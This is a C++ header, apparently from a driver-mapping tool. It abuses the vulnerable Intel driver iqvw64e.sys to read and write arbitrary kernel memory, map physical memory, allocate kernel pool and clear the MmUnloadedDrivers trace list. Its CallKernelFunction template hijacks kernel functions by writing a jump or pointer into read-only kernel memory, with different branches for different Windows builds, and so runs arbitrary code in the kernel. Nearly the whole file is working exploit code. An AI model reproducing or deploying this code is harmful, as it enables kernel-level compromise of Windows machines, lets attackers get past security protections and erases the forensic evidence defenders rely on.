295 lines
11 KiB
C++
295 lines
11 KiB
C++
#pragma once
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#include <Windows.h>
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#include <iostream>
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#include <string>
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#include <filesystem>
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#include <atlstr.h>
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#include "intel_driver_resource.hpp"
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#include "service.hpp"
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#include "utils.hpp"
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#include <assert.h>
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namespace intel_driver
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{
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constexpr auto driver_name = "iqvw64e.sys";
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constexpr uint32_t ioctl1 = 0x80862007;
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typedef struct _COPY_MEMORY_BUFFER_INFO
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{
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uint64_t case_number;
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uint64_t reserved;
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uint64_t source;
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uint64_t destination;
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uint64_t length;
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}COPY_MEMORY_BUFFER_INFO, * PCOPY_MEMORY_BUFFER_INFO;
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typedef struct _FILL_MEMORY_BUFFER_INFO
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{
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uint64_t case_number;
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uint64_t reserved1;
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uint32_t value;
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uint32_t reserved2;
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uint64_t destination;
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uint64_t length;
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}FILL_MEMORY_BUFFER_INFO, * PFILL_MEMORY_BUFFER_INFO;
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typedef struct _GET_PHYS_ADDRESS_BUFFER_INFO
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{
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uint64_t case_number;
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uint64_t reserved;
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uint64_t return_physical_address;
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uint64_t address_to_translate;
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}GET_PHYS_ADDRESS_BUFFER_INFO, * PGET_PHYS_ADDRESS_BUFFER_INFO;
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typedef struct _MAP_IO_SPACE_BUFFER_INFO
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{
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uint64_t case_number;
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uint64_t reserved;
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uint64_t return_value;
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uint64_t return_virtual_address;
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uint64_t physical_address_to_map;
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uint32_t size;
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}MAP_IO_SPACE_BUFFER_INFO, * PMAP_IO_SPACE_BUFFER_INFO;
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typedef struct _UNMAP_IO_SPACE_BUFFER_INFO
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{
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uint64_t case_number;
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uint64_t reserved1;
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uint64_t reserved2;
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uint64_t virt_address;
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uint64_t reserved3;
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uint32_t number_of_bytes;
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}UNMAP_IO_SPACE_BUFFER_INFO, * PUNMAP_IO_SPACE_BUFFER_INFO;
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HANDLE Load();
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void Unload(HANDLE device_handle);
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bool MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size);
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bool SetMemory(HANDLE device_handle, uint64_t address, uint32_t value, uint64_t size);
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bool GetPhysicalAddress(HANDLE device_handle, uint64_t address, uint64_t* out_physical_address);
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uint64_t MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size);
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bool UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size);
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bool ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size);
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bool WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size);
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bool WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size);
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uint64_t AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size);
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bool FreePool(HANDLE device_handle, uint64_t address);
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uint64_t GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string& function_name);
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bool GetNtGdiDdDDIReclaimAllocations2KernelInfo(HANDLE device_handle, uint64_t* out_kernel_function_ptr, uint64_t* out_kernel_original_function_address);
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bool GetNtGdiGetCOPPCompatibleOPMInformationInfo(HANDLE device_handle, uint64_t* out_kernel_function_ptr, uint8_t* out_kernel_original_bytes);
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bool ClearMmUnloadedDrivers(HANDLE device_handle);
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template<typename T, typename ...A>
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bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments)
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{
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constexpr auto call_void = std::is_same_v<T, void>;
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if constexpr (!call_void)
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{
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if (!out_result)
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return false;
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}
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else
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{
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UNREFERENCED_PARAMETER(out_result);
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}
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if (!kernel_function_address)
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return false;
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// Setup function call
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#pragma warning(disable : 4996)
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/*LPOSVERSIONINFOEXA info;
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ZeroMemory(&info, sizeof(LPOSVERSIONINFOEXA));
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info.dwOSVersionInfoSize = sizeof(LPOSVERSIONINFOEXA);
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GetVersionEx(&info);*/
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OSVERSIONINFO info = { 0 };
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info.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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GetVersionEx(&info);
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const auto system_name = L"kernel32.dll";
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DWORD dummy;
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const auto cbInfo =
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::GetFileVersionInfoSizeExW(FILE_VER_GET_NEUTRAL, system_name, &dummy);
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std::vector<char> buffer(cbInfo);
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::GetFileVersionInfoExW(FILE_VER_GET_NEUTRAL, system_name, dummy,
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buffer.size(), &buffer[0]);
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void* p = nullptr;
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UINT size = 0;
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::VerQueryValueW(buffer.data(), L"\\", &p, &size);
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assert(size >= sizeof(VS_FIXEDFILEINFO));
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assert(p != nullptr);
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auto pFixed = static_cast<const VS_FIXEDFILEINFO*>(p);
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std::cout << "[+] " << HIWORD(pFixed->dwFileVersionMS) << '.'
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<< LOWORD(pFixed->dwFileVersionMS) << '.'
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<< HIWORD(pFixed->dwFileVersionLS) << '.'
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<< LOWORD(pFixed->dwFileVersionLS) << '\n';
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//19041
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if (HIWORD(pFixed->dwFileVersionLS) >= 19041) {
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const auto NtQueryInformationAtom = reinterpret_cast<void*>(GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryInformationAtom"));
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if (!NtQueryInformationAtom)
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{
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std::cout << "[-] Failed to get export ntdll.NtQueryInformationAtom" << std::endl;
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return false;
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}
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uint8_t kernel_injected_jmp[] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 };
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uint8_t original_kernel_function[sizeof(kernel_injected_jmp)];
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*(uint64_t*)((&kernel_injected_jmp[0]) + 2) = kernel_function_address;
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const uint64_t kernel_NtQueryInformationAtom = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "NtQueryInformationAtom");
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if (!kernel_NtQueryInformationAtom)
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{
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std::cout << "[-] Failed to get export ntoskrnl.NtQueryInformationAtom" << std::endl;
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return false;
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}
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if (!ReadMemory(device_handle, kernel_NtQueryInformationAtom, &original_kernel_function, sizeof(kernel_injected_jmp)))
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return false;
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// Overwrite the pointer with kernel_function_address
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if (!WriteToReadOnlyMemory(device_handle, kernel_NtQueryInformationAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp)))
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return false;
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// Call function
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if constexpr (!call_void)
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{
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using FunctionFn = T(__stdcall*)(A...);
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const auto Function = reinterpret_cast<FunctionFn>(NtQueryInformationAtom);
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*out_result = Function(arguments...);
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}
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else
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{
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using FunctionFn = void(__stdcall*)(A...);
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const auto Function = reinterpret_cast<FunctionFn>(NtQueryInformationAtom);
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Function(arguments...);
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}
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// Restore the pointer/jmp
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WriteToReadOnlyMemory(device_handle, kernel_NtQueryInformationAtom, original_kernel_function, sizeof(kernel_injected_jmp));
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return true;
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}
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else if (HIWORD(pFixed->dwFileVersionLS) >= 18362) {
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const auto NtGdiDdDDIReclaimAllocations2 = reinterpret_cast<void*>(GetProcAddress(LoadLibrary("gdi32full.dll"), "NtGdiDdDDIReclaimAllocations2"));
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const auto NtGdiGetCOPPCompatibleOPMInformation = reinterpret_cast<void*>(GetProcAddress(LoadLibrary("win32u.dll"), "NtGdiGetCOPPCompatibleOPMInformation"));
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if (!NtGdiDdDDIReclaimAllocations2 && !NtGdiGetCOPPCompatibleOPMInformation)
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{
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std::cout << "[-] Failed to get export gdi32full.NtGdiDdDDIReclaimAllocations2 / win32u.NtGdiGetCOPPCompatibleOPMInformation" << std::endl;
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return false;
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}
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uint64_t kernel_function_ptr = 0;
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uint8_t kernel_function_jmp[] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 };
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uint64_t kernel_original_function_address = 0;
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uint8_t kernel_original_function_jmp[sizeof(kernel_function_jmp)];
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if (NtGdiDdDDIReclaimAllocations2)
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{
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// Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2 and save the original address (dxgkrnl!DxgkReclaimAllocations2)
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if (!GetNtGdiDdDDIReclaimAllocations2KernelInfo(device_handle, &kernel_function_ptr, &kernel_original_function_address))
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return false;
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// Overwrite the pointer with kernel_function_address
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if (!WriteToReadOnlyMemory(device_handle, kernel_function_ptr, &kernel_function_address, sizeof(kernel_function_address)))
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return false;
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}
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else
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{
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// Get address of NtGdiGetCOPPCompatibleOPMInformation and save the original jmp bytes + 0xCC filler
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if (!GetNtGdiGetCOPPCompatibleOPMInformationInfo(device_handle, &kernel_function_ptr, kernel_original_function_jmp))
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return false;
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// Overwrite jmp with 'movabs rax, <kernel_function_address>, jmp rax'
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memcpy(kernel_function_jmp + 2, &kernel_function_address, sizeof(kernel_function_address));
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if (!WriteToReadOnlyMemory(device_handle, kernel_function_ptr, kernel_function_jmp, sizeof(kernel_function_jmp)))
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return false;
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}
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// Call function
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if constexpr (!call_void)
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{
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using FunctionFn = T(__stdcall*)(A...);
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const auto Function = reinterpret_cast<FunctionFn>(NtGdiDdDDIReclaimAllocations2 ? NtGdiDdDDIReclaimAllocations2 : NtGdiGetCOPPCompatibleOPMInformation);
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*out_result = Function(arguments...);
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}
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else
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{
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using FunctionFn = void(__stdcall*)(A...);
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const auto Function = reinterpret_cast<FunctionFn>(NtGdiDdDDIReclaimAllocations2 ? NtGdiDdDDIReclaimAllocations2 : NtGdiGetCOPPCompatibleOPMInformation);
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Function(arguments...);
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}
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// Restore the pointer/jmp
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if (NtGdiDdDDIReclaimAllocations2)
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{
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WriteToReadOnlyMemory(device_handle, kernel_function_ptr, &kernel_original_function_address, sizeof(kernel_original_function_address));
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}
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else
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{
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WriteToReadOnlyMemory(device_handle, kernel_function_ptr, kernel_original_function_jmp, sizeof(kernel_original_function_jmp));
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}
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return true;
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}
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else if (HIWORD(pFixed->dwFileVersionLS) >= 17134) {
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const auto NtGdiDdDDIReclaimAllocations2 = reinterpret_cast<void*>(GetProcAddress(LoadLibrary("gdi32full.dll"), "NtGdiDdDDIReclaimAllocations2"));
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if (!NtGdiDdDDIReclaimAllocations2)
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{
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std::cout << "[-] Failed to get export gdi32full.NtGdiDdDDIReclaimAllocations2" << std::endl;
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return false;
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}
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// Get function pointer (@win32kbase!gDxgkInterface table) used by NtGdiDdDDIReclaimAllocations2 and save the original address (dxgkrnl!DxgkReclaimAllocations2)
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uint64_t kernel_function_ptr = 0;
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uint64_t kernel_original_function_address = 0;
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if (!GetNtGdiDdDDIReclaimAllocations2KernelInfo(device_handle, &kernel_function_ptr, &kernel_original_function_address))
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return false;
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// Overwrite the pointer with kernel_function_address
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if (!WriteToReadOnlyMemory(device_handle, kernel_function_ptr, &kernel_function_address, sizeof(kernel_function_address)))
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return false;
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// Call function
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if constexpr (!call_void)
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{
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using FunctionFn = T(__stdcall*)(A...);
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const auto Function = static_cast<FunctionFn>(NtGdiDdDDIReclaimAllocations2);
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*out_result = Function(arguments...);
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}
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else
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{
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using FunctionFn = void(__stdcall*)(A...);
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const auto Function = static_cast<FunctionFn>(NtGdiDdDDIReclaimAllocations2);
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Function(arguments...);
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}
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// Restore the pointer
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WriteToReadOnlyMemory(device_handle, kernel_function_ptr, &kernel_original_function_address, sizeof(kernel_original_function_address));
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return true;
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}
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return false;
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}
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}
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